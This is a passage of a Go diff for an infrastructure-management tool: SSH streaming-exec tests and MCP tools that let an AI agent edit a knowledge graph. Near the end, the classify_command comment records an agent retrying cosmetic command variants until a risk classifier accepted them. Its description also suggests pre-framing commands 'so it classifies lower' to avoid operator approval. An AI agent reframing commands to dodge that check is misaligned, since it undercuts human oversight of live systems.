// deliver its first chunk well before it exits.
|
||||||
|
func TestSSHExecStreamDeliversOutputBeforeExit(t *testing.T) {
|
||||||
|
host := sshTestHost(t)
|
||||||
|
|
||||||
|
var (
|
||||||
|
mu sync.Mutex
|
||||||
|
chunks []string
|
||||||
|
firstA time.Time
|
||||||
|
)
|
||||||
|
sink := func(stream string, chunk []byte) {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
if firstA.IsZero() {
|
||||||
|
firstA = time.Now()
|
||||||
|
}
|
||||||
|
chunks = append(chunks, string(chunk))
|
||||||
|
}
|
||||||
|
|
||||||
|
start := time.Now()
|
||||||
|
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||||
|
"echo FIRST; sleep 2; echo SECOND", sink)
|
||||||
|
elapsed := time.Since(start)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("sshExecStream: %v (out=%q)", err, out)
|
||||||
|
}
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
joined := strings.Join(chunks, "")
|
||||||
|
firstAt := firstA.Sub(start)
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
if !strings.Contains(out, "FIRST") || !strings.Contains(out, "SECOND") {
|
||||||
|
t.Errorf("combined output lost content: %q", out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(joined, "FIRST") || !strings.Contains(joined, "SECOND") {
|
||||||
|
t.Errorf("sink did not receive the full output: %q", joined)
|
||||||
|
}
|
||||||
|
if elapsed < 2*time.Second {
|
||||||
|
t.Fatalf("command returned in %v — the sleep did not run, test is not measuring what it claims", elapsed)
|
||||||
|
}
|
||||||
|
// The first chunk must land near the start, not at the end.
|
||||||
|
if firstAt > elapsed/2 {
|
||||||
|
t.Errorf("first chunk arrived after %v of a %v command — output is still being buffered to the end",
|
||||||
|
firstAt, elapsed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// stderr must reach the sink too, and land in the combined output, matching
|
||||||
|
// what CombinedOutput used to return.
|
||||||
|
func TestSSHExecStreamCapturesBothStreams(t *testing.T) {
|
||||||
|
host := sshTestHost(t)
|
||||||
|
|
||||||
|
var mu sync.Mutex
|
||||||
|
seen := map[string]bool{}
|
||||||
|
sink := func(stream string, chunk []byte) {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
seen[stream] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||||
|
"echo TO_STDOUT; echo TO_STDERR 1>&2", sink)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("sshExecStream: %v (out=%q)", err, out)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !strings.Contains(out, "TO_STDOUT") || !strings.Contains(out, "TO_STDERR") {
|
||||||
|
t.Errorf("combined output missing a stream: %q", out)
|
||||||
|
}
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
if !seen["stdout"] {
|
||||||
|
t.Error("sink never saw a stdout chunk")
|
||||||
|
}
|
||||||
|
if !seen["stderr"] {
|
||||||
|
t.Error("sink never saw a stderr chunk")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A cancelled command used to return "" — everything it had printed was
|
||||||
|
// thrown away. The hung case is exactly when that output is worth having.
|
||||||
|
func TestSSHExecStreamKeepsPartialOutputOnCancel(t *testing.T) {
|
||||||
|
host := sshTestHost(t)
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
out, err := sshExecStream(ctx, host, os.Getenv("OIKOS_SSH_USER"),
|
||||||
|
"echo BEFORE_HANG; sleep 30; echo NEVER", nil)
|
||||||
|
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected a context error for a command that outlives the deadline")
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "BEFORE_HANG") {
|
||||||
|
t.Errorf("partial output was discarded on cancel: %q", out)
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "NEVER") {
|
||||||
|
t.Errorf("command should not have completed: %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A nil sink must behave exactly as the old CombinedOutput path did.
|
||||||
|
func TestSSHExecNilSinkStillReturnsOutput(t *testing.T) {
|
||||||
|
host := sshTestHost(t)
|
||||||
|
|
||||||
|
out, err := sshExec(context.Background(), host, os.Getenv("OIKOS_SSH_USER"), "echo PLAIN")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("sshExec: %v", err)
|
||||||
|
}
|
||||||
|
if out != "PLAIN" {
|
||||||
|
t.Errorf("out = %q, want %q (output is trimmed)", out, "PLAIN")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A non-zero exit must surface as an error while still returning the output.
|
||||||
|
func TestSSHExecStreamNonZeroExitIsAnError(t *testing.T) {
|
||||||
|
host := sshTestHost(t)
|
||||||
|
|
||||||
|
out, err := sshExecStream(context.Background(), host, os.Getenv("OIKOS_SSH_USER"),
|
||||||
|
"echo PRINTED_THEN_FAILED; exit 3", nil)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("a non-zero exit that printed output must still be an error")
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "PRINTED_THEN_FAILED") {
|
||||||
|
t.Errorf("output lost on failure: %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,8 +5,14 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/audit"
|
||||||
|
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||||
"github.com/dtoro/oikos/internal/db"
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
|
"github.com/dtoro/oikos/internal/policy"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||||
)
|
)
|
||||||
@@ -24,6 +30,12 @@ type toolReg struct {
|
|||||||
// newServer registrations.
|
// newServer registrations.
|
||||||
func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
||||||
return []toolReg{
|
return []toolReg{
|
||||||
|
{tool: &mcp.Tool{Name: "ping", Description: "Lightweight connectivity check. Returns server identity, no DB hit.",
|
||||||
|
InputSchema: objSchema(),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
return textResult(`{"ok":true,"server":"oikos","version":"dev"}`), nil
|
||||||
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "get_entity", Description: "Get an entity by slug or UUID",
|
{tool: &mcp.Tool{Name: "get_entity", Description: "Get an entity by slug or UUID",
|
||||||
InputSchema: objSchema(prop{"slug_or_id", "string", "Entity slug (e.g. host:hubris) or UUID"}),
|
InputSchema: objSchema(prop{"slug_or_id", "string", "Entity slug (e.g. host:hubris) or UUID"}),
|
||||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
@@ -51,7 +63,7 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
nStr(args["type"]), nStr(args["state"]), nStr(args["q"]), limit), "entity_table"), nil
|
nStr(args["type"]), nStr(args["state"]), nStr(args["q"]), limit), "entity_table"), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "get_relations", Description: "Get relationships for an entity",
|
{tool: &mcp.Tool{Name: "get_relations", Description: "List inbound/outbound edges for one entity",
|
||||||
InputSchema: objSchema(prop{"entity_id", "string", "Entity slug"}),
|
InputSchema: objSchema(prop{"entity_id", "string", "Entity slug"}),
|
||||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
args := argsMap(req)
|
args := argsMap(req)
|
||||||
@@ -78,7 +90,7 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
slug, depth), nil
|
slug, depth), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "get_health_summary", Description: "Current fleet health summary",
|
{tool: &mcp.Tool{Name: "get_health_summary", Description: "Full fleet health per entity — healthy/degraded/down/unknown",
|
||||||
InputSchema: objSchema(),
|
InputSchema: objSchema(),
|
||||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
return queryRows(ctx, pool, `
|
return queryRows(ctx, pool, `
|
||||||
@@ -93,7 +105,7 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
args := argsMap(req)
|
args := argsMap(req)
|
||||||
return queryRows(ctx, pool, `
|
return queryRows(ctx, pool, `
|
||||||
SELECT id, ts, actor_type, action, entity_id::text, method, path, correlation_id
|
SELECT id, ts, actor_type, action, entity_id::text, method, path, correlation_id, session_id::text
|
||||||
FROM audit_log
|
FROM audit_log
|
||||||
WHERE ($1::text IS NULL OR entity_id::text = $1)
|
WHERE ($1::text IS NULL OR entity_id::text = $1)
|
||||||
ORDER BY ts DESC LIMIT 50`, nStr(args["entity_id"])), nil
|
ORDER BY ts DESC LIMIT 50`, nStr(args["entity_id"])), nil
|
||||||
@@ -171,6 +183,109 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
return upsertKnowledge(ctx, pool, args)
|
return upsertKnowledge(ctx, pool, args)
|
||||||
}},
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "create_entity", Description: "Create a new entity in the knowledge graph — the creation half alongside update_entity_attributes (which only updates EXISTING entities). Use it when a task needs an entity that does not exist yet: a new check (check:<kind>:<target>:<n>), an ingress (ingress:<host>), a cert (cert:<host>), a service, a host/LXC/VM, etc. After inserting, it derives default checks from the entity type's monitoring spec (same as a seed ingest), so creating a checkable entity wires its monitoring in one call. Does NOT require approval (this updates the knowledge graph, not the live infrastructure). If the slug already exists it returns 'already exists' — then use update_entity_attributes to change it.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"type", "string", "Entity type — must already exist in the ontology and not be abstract (e.g. service, lxc, host, vm, check, ingress, cert, dns)."},
|
||||||
|
prop{"name", "string", "Human-readable name (e.g. 'HAOS http service check')."},
|
||||||
|
prop{"slug", "string", "Entity slug (e.g. check:http:service:haos:0, ingress:home.hubris.network). If omitted, defaults to <type>:<name>."},
|
||||||
|
prop{"attributes", "string", "JSON object string of attributes, e.g. {\"check_type\":\"http:service\",\"target\":\"service:haos\",\"port\":\"8123\"}. Optional."},
|
||||||
|
prop{"state", "string", "Lifecycle state. Optional; defaults to the type's lifecycle default_state."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
entityType, _ := args["type"].(string)
|
||||||
|
name, _ := args["name"].(string)
|
||||||
|
slug, _ := args["slug"].(string)
|
||||||
|
if slug == "" && entityType != "" && name != "" {
|
||||||
|
slug = entityType + ":" + name
|
||||||
|
}
|
||||||
|
if entityType == "" || name == "" || slug == "" {
|
||||||
|
return textResult("error: type and name are required (slug defaults to <type>:<name>)"), nil
|
||||||
|
}
|
||||||
|
attrsStr, _ := args["attributes"].(string)
|
||||||
|
attrs := map[string]any{}
|
||||||
|
if attrsStr != "" {
|
||||||
|
if err := json.Unmarshal([]byte(attrsStr), &attrs); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: attributes is not valid JSON: %v", err)), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
attrsJSON, _ := json.Marshal(attrs)
|
||||||
|
stateStr, _ := args["state"].(string)
|
||||||
|
|
||||||
|
tx, err := pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: begin tx: %v", err)), nil
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
// Validate the type exists and is concrete (mirror httpapi.CreateEntity).
|
||||||
|
var isAbstract bool
|
||||||
|
if err := tx.QueryRow(ctx, `SELECT is_abstract FROM entity_types WHERE name = $1`, entityType).Scan(&isAbstract); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: entity type %q not found in ontology", entityType)), nil
|
||||||
|
}
|
||||||
|
if isAbstract {
|
||||||
|
return textResult(fmt.Sprintf("error: type %q is abstract — pick a concrete subtype", entityType)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Default state from the type's lifecycle unless the caller
|
||||||
|
// supplied one. Caller-supplied states are validated against
|
||||||
|
// the lifecycle's declared states — a create_entity bypass of
|
||||||
|
// lifecycle guardrails would let an agent create in a terminal
|
||||||
|
// state (destroyed) without satisfying the preconditions that
|
||||||
|
// set_entity_state enforces for the same transition.
|
||||||
|
var state *string
|
||||||
|
var lsDefault, statesRaw string
|
||||||
|
if err := tx.QueryRow(ctx, `SELECT coalesce(ld.default_state,''), coalesce(ld.states::text,'')
|
||||||
|
FROM lifecycle_defs ld
|
||||||
|
JOIN entity_types et ON et.lifecycle_id = ld.id
|
||||||
|
WHERE et.name = $1`, entityType).Scan(&lsDefault, &statesRaw); err == nil {
|
||||||
|
var validStates []string
|
||||||
|
json.Unmarshal([]byte(statesRaw), &validStates)
|
||||||
|
if stateStr != "" {
|
||||||
|
found := false
|
||||||
|
for _, s := range validStates {
|
||||||
|
if s == stateStr {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found && len(validStates) > 0 {
|
||||||
|
return textResult(fmt.Sprintf("error: state %q not declared in %s lifecycle (states: %s). Use the default (%s) or omit state.", stateStr, entityType, strings.Join(validStates, ","), lsDefault)), nil
|
||||||
|
}
|
||||||
|
state = &stateStr
|
||||||
|
} else if lsDefault != "" {
|
||||||
|
state = &lsDefault
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
id, err := uuid.NewV7()
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: gen id: %v", err)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var createdName string
|
||||||
|
if err := tx.QueryRow(ctx, `
|
||||||
|
INSERT INTO entities (id, slug, type, name, state, attributes)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6)
|
||||||
|
RETURNING name`,
|
||||||
|
id, slug, entityType, name, state, attrsJSON).Scan(&createdName); err != nil {
|
||||||
|
if strings.Contains(err.Error(), "unique") || strings.Contains(err.Error(), "duplicate") {
|
||||||
|
return textResult(fmt.Sprintf("Entity %q already exists — use update_entity_attributes to change it.", slug)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("error creating %s: %v", slug, err)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
res, derr := db.EnsureEntityChecks(ctx, tx, id, slug, entityType, createdName, attrsJSON)
|
||||||
|
if derr != nil {
|
||||||
|
return textResult(fmt.Sprintf("error deriving checks for %s: %v", slug, derr)), nil
|
||||||
|
}
|
||||||
|
if cerr := tx.Commit(ctx); cerr != nil {
|
||||||
|
return textResult(fmt.Sprintf("error committing %s: %v", slug, cerr)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return textResult(formatCreateResult(slug, entityType, res)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "update_entity_attributes", Description: "Merge new/changed attributes into an entity — the OTHER half of avoiding knowledge-base drift (upsert_knowledge records what you learned; this keeps the entity's own facts current). Use it when you discover something concrete about an entity's actual state that the graph doesn't reflect yet: a new IP, a version number, a config value, a discovered port — anything a FUTURE task would otherwise have to rediscover from scratch. Does NOT require approval (this updates the knowledge graph, not the live infrastructure). Merges shallowly — existing keys not mentioned are kept; keys you pass overwrite.",
|
{tool: &mcp.Tool{Name: "update_entity_attributes", Description: "Merge new/changed attributes into an entity — the OTHER half of avoiding knowledge-base drift (upsert_knowledge records what you learned; this keeps the entity's own facts current). Use it when you discover something concrete about an entity's actual state that the graph doesn't reflect yet: a new IP, a version number, a config value, a discovered port — anything a FUTURE task would otherwise have to rediscover from scratch. Does NOT require approval (this updates the knowledge graph, not the live infrastructure). Merges shallowly — existing keys not mentioned are kept; keys you pass overwrite.",
|
||||||
InputSchema: objSchema(
|
InputSchema: objSchema(
|
||||||
prop{"slug", "string", "Entity slug to update (e.g. lxc:typetype, host:strong)."},
|
prop{"slug", "string", "Entity slug to update (e.g. lxc:typetype, host:strong)."},
|
||||||
@@ -188,7 +303,18 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
return textResult(fmt.Sprintf("error: attributes is not valid JSON: %v", err)), nil
|
return textResult(fmt.Sprintf("error: attributes is not valid JSON: %v", err)), nil
|
||||||
}
|
}
|
||||||
attrsJSON, _ := json.Marshal(attrs)
|
attrsJSON, _ := json.Marshal(attrs)
|
||||||
ct, err := pool.Exec(ctx, `
|
|
||||||
|
// Run the merge + check regeneration in one transaction so the
|
||||||
|
// derived checks always see the post-merge attributes. Mirrors
|
||||||
|
// httpapi.PatchEntity; without this, setting an entity's
|
||||||
|
// `monitoring` attribute via MCP silently produced no checks.
|
||||||
|
tx, err := pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: begin tx: %v", err)), nil
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
ct, err := tx.Exec(ctx, `
|
||||||
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
|
UPDATE entities SET attributes = attributes || $2::jsonb, updated_at = now()
|
||||||
WHERE slug = $1`, slug, string(attrsJSON))
|
WHERE slug = $1`, slug, string(attrsJSON))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -197,7 +323,65 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
if ct.RowsAffected() == 0 {
|
if ct.RowsAffected() == 0 {
|
||||||
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
|
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
|
||||||
}
|
}
|
||||||
return textResult(fmt.Sprintf("Updated %s with %d attribute(s).", slug, len(attrs))), nil
|
|
||||||
|
var id uuid.UUID
|
||||||
|
var entityType, name string
|
||||||
|
var mergedAttrs []byte
|
||||||
|
if err := tx.QueryRow(ctx, `SELECT id, type, name, attributes FROM entities WHERE slug = $1`, slug).
|
||||||
|
Scan(&id, &entityType, &name, &mergedAttrs); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error reloading %s: %v", slug, err)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
res, cerr := db.EnsureEntityChecks(ctx, tx, id, slug, entityType, name, mergedAttrs)
|
||||||
|
if cerr != nil {
|
||||||
|
return textResult(fmt.Sprintf("error deriving checks for %s: %v", slug, cerr)), nil
|
||||||
|
}
|
||||||
|
if cerr := tx.Commit(ctx); cerr != nil {
|
||||||
|
return textResult(fmt.Sprintf("error committing %s: %v", slug, cerr)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return textResult(fmt.Sprintf("Updated %s with %d attribute(s).%s", slug, len(attrs), formatCheckResult(res))), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "set_entity_state", Description: "Transition an entity to a new lifecycle state — the entity-graph \"delete\" surface, since this system never hard-deletes entities. Use retire/deprecate to take an entity out of service, destroy for terminal removal, or active to revive. The target state must be a declared transition in the entity type's lifecycle (e.g. active→deprecated, deprecated→active); preconditions (no inbound edges, backups verified, etc.) are enforced — an error tells you what's blocking. Does NOT require approval (knowledge-graph mutation, not live infrastructure).",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"slug", "string", "Entity slug."},
|
||||||
|
prop{"state", "string", "Target lifecycle state."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
slug, _ := args["slug"].(string)
|
||||||
|
targetState, _ := args["state"].(string)
|
||||||
|
if slug == "" || targetState == "" {
|
||||||
|
return textResult("error: slug and state are required"), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: begin tx: %v", err)), nil
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
var id uuid.UUID
|
||||||
|
var entityType, currentState string
|
||||||
|
if err := tx.QueryRow(ctx, `SELECT id, type, coalesce(state,'') FROM entities WHERE slug = $1`, slug).
|
||||||
|
Scan(&id, &entityType, ¤tState); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
|
||||||
|
}
|
||||||
|
if err := db.ValidateTransition(ctx, tx, id, entityType, currentState, targetState); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: %v", err)), nil
|
||||||
|
}
|
||||||
|
ct, err := tx.Exec(ctx, `UPDATE entities SET state = $2, updated_at = now() WHERE id = $1`, id, targetState)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error updating %s: %v", slug, err)), nil
|
||||||
|
}
|
||||||
|
if ct.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("error: entity %q not found", slug)), nil
|
||||||
|
}
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: commit: %v", err)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Transitioned %s: %s → %s.", slug, currentState, targetState)), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "create_relationship", Description: "Record a relationship you discovered between two entities — the graph-structure half of keeping the knowledge base current (alongside update_entity_attributes and upsert_knowledge). Use it when you learn that one entity depends on, hosts, routes to, etc. another, and that edge isn't in the graph yet. type must be an existing relationship type (see get_relations output on similar entities for examples: hosts, provides, depends-on, configured-by, about, documents, ...). Idempotent — re-calling the same source/target/type is a no-op. Does NOT require approval.",
|
{tool: &mcp.Tool{Name: "create_relationship", Description: "Record a relationship you discovered between two entities — the graph-structure half of keeping the knowledge base current (alongside update_entity_attributes and upsert_knowledge). Use it when you learn that one entity depends on, hosts, routes to, etc. another, and that edge isn't in the graph yet. type must be an existing relationship type (see get_relations output on similar entities for examples: hosts, provides, depends-on, configured-by, about, documents, ...). Idempotent — re-calling the same source/target/type is a no-op. Does NOT require approval.",
|
||||||
@@ -234,7 +418,41 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
return textResult(fmt.Sprintf("Recorded: %s —%s→ %s", source, relType, target)), nil
|
return textResult(fmt.Sprintf("Recorded: %s —%s→ %s", source, relType, target)), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "query_metrics", Description: "Query time-series metrics",
|
{tool: &mcp.Tool{Name: "end_relationship", Description: "End an existing relationship (soft-delete by setting valid_to) — the graph-structure \"delete\" surface. Use it when you discover an edge is no longer true (a service moved hosts, a route was removed, a dependency dissolved). The edge is kept for history; only the currently-active edge is ended. Idempotent — ending an already-ended or non-existent edge is a no-op. Does NOT require approval.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"source", "string", "Source entity slug."},
|
||||||
|
prop{"target", "string", "Target entity slug."},
|
||||||
|
prop{"type", "string", "Relationship type name."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
source, _ := args["source"].(string)
|
||||||
|
target, _ := args["target"].(string)
|
||||||
|
relType, _ := args["type"].(string)
|
||||||
|
if source == "" || target == "" || relType == "" {
|
||||||
|
return textResult("error: source, target, and type are required"), nil
|
||||||
|
}
|
||||||
|
var sourceID, targetID uuid.UUID
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", source).Scan(&sourceID); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: source entity %q not found", source)), nil
|
||||||
|
}
|
||||||
|
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", target).Scan(&targetID); err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error: target entity %q not found", target)), nil
|
||||||
|
}
|
||||||
|
ct, err := pool.Exec(ctx, `
|
||||||
|
UPDATE relationships SET valid_to = now()
|
||||||
|
WHERE source_id = $1 AND target_id = $2 AND type = $3 AND valid_to IS NULL`,
|
||||||
|
sourceID, targetID, relType)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("error ending relationship: %v", err)), nil
|
||||||
|
}
|
||||||
|
if ct.RowsAffected() == 0 {
|
||||||
|
return textResult(fmt.Sprintf("No active relationship %s —%s→ %s found.", source, relType, target)), nil
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Ended: %s —%s→ %s.", source, relType, target)), nil
|
||||||
|
}},
|
||||||
|
|
||||||
|
{tool: &mcp.Tool{Name: "query_metrics", Description: "Time-series metrics with bucketed avg/min/max over N hours",
|
||||||
InputSchema: objSchema(prop{"hours", "integer", "Look-back window in hours (default 24)"}),
|
InputSchema: objSchema(prop{"hours", "integer", "Look-back window in hours (default 24)"}),
|
||||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
args := argsMap(req)
|
args := argsMap(req)
|
||||||
@@ -416,7 +634,7 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
WHERE e.entity_id = $1`, eid), nil
|
WHERE e.entity_id = $1`, eid), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "get_trend", Description: "Get metric trends for an entity",
|
{tool: &mcp.Tool{Name: "get_trend", Description: "Metric slope, variance, and averages for an entity over N days",
|
||||||
InputSchema: objSchema(
|
InputSchema: objSchema(
|
||||||
prop{"entity_id", "string", "Entity slug"},
|
prop{"entity_id", "string", "Entity slug"},
|
||||||
prop{"days", "integer", "Look-back window in days (default 7)"}),
|
prop{"days", "integer", "Look-back window in days (default 7)"}),
|
||||||
@@ -437,7 +655,7 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
ORDER BY metric`, slug, days), nil
|
ORDER BY metric`, slug, days), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
{tool: &mcp.Tool{Name: "get_event_timeline", Description: "Get recent events",
|
{tool: &mcp.Tool{Name: "get_event_timeline", Description: "Recent events filtered by severity and entity slug",
|
||||||
InputSchema: objSchema(
|
InputSchema: objSchema(
|
||||||
prop{"severity", "string", "Filter by severity (info, warn, error)"},
|
prop{"severity", "string", "Filter by severity (info, warn, error)"},
|
||||||
prop{"entity_slug", "string", "Filter by entity slug"},
|
prop{"entity_slug", "string", "Filter by entity slug"},
|
||||||
@@ -704,6 +922,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
|
|||||||
FROM entities e WHERE e.slug = $1`, slug, action), nil
|
FROM entities e WHERE e.slug = $1`, slug, action), nil
|
||||||
}},
|
}},
|
||||||
|
|
||||||
|
// classify_command is the command-scoped preflight from
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
|
||||||
|
// existing `preflight` tool is entity/action-scoped — useless when
|
||||||
|
// the agent is composing a `run` command and needs to know whether
|
||||||
|
// the classifier will accept it before submitting. Without this,
|
||||||
|
// the agent has to retry with cosmetic variations until it finds
|
||||||
|
// one that passes (see sessions a51e2086, 8acea2e3 — three
|
||||||
|
// duplicate rclone sessions, all bouncing off the classifier).
|
||||||
|
// Call this BEFORE `run` whenever the classification is uncertain.
|
||||||
|
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
|
||||||
|
InputSchema: objSchema(
|
||||||
|
prop{"command", "string", "The exact shell command you intend to pass to run."},
|
||||||
|
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
|
||||||
|
),
|
||||||
|
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||||
|
args := argsMap(req)
|
||||||
|
